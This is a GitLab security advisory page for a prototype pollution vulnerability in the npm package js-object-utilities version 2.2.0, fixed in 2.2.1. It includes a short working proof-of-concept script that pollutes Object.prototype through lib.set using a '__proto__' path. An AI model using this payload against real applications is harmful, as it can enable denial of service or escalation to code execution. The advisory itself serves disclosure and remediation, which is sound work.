Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. js-object-utilities
  4. ›
  5. GHSA-hpqf-m68j-2pfx

GHSA-hpqf-m68j-2pfx: js-object-utilities Vulnerable to Prototype Pollution

April 7, 2025

Vulnerability type: Prototype Pollution

Affected Package:

  • Product: js-object-utilities
  • Version: 2.2.0

Remedy:

Update package to version 2.2.1.

Vulnerability Location(s):

at module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)

Description:

The latest version of js-object-utilities (2.2.0), (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) lib.set. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application’s context.

PoC:

// install the package with the latest version
~$ npm install js-object-utilities@2.2.0
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
// poc.js
(async () => {
const lib = await import('js-object-utilities');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
Reflect.apply(lib.set, {}, [someObj, "__proto__.pollutedKey", 123]);
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

Reporter Credit:

Tariq Hawis

References

  • github.com/advisories/GHSA-hpqf-m68j-2pfx
  • github.com/rrainn/js-object-utilities
  • github.com/rrainn/js-object-utilities/commit/05ca694207270b7de275767f3fc93a2a643692a7
  • github.com/rrainn/js-object-utilities/security/advisories/GHSA-hpqf-m68j-2pfx

Code Behaviors & Features

Detect and mitigate GHSA-hpqf-m68j-2pfx with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 2.2.1

Fixed versions

  • 2.2.1

Solution

Upgrade to version 2.2.1 or above.

Weakness

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Source file

npm/js-object-utilities/GHSA-hpqf-m68j-2pfx.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:15:39 +0000.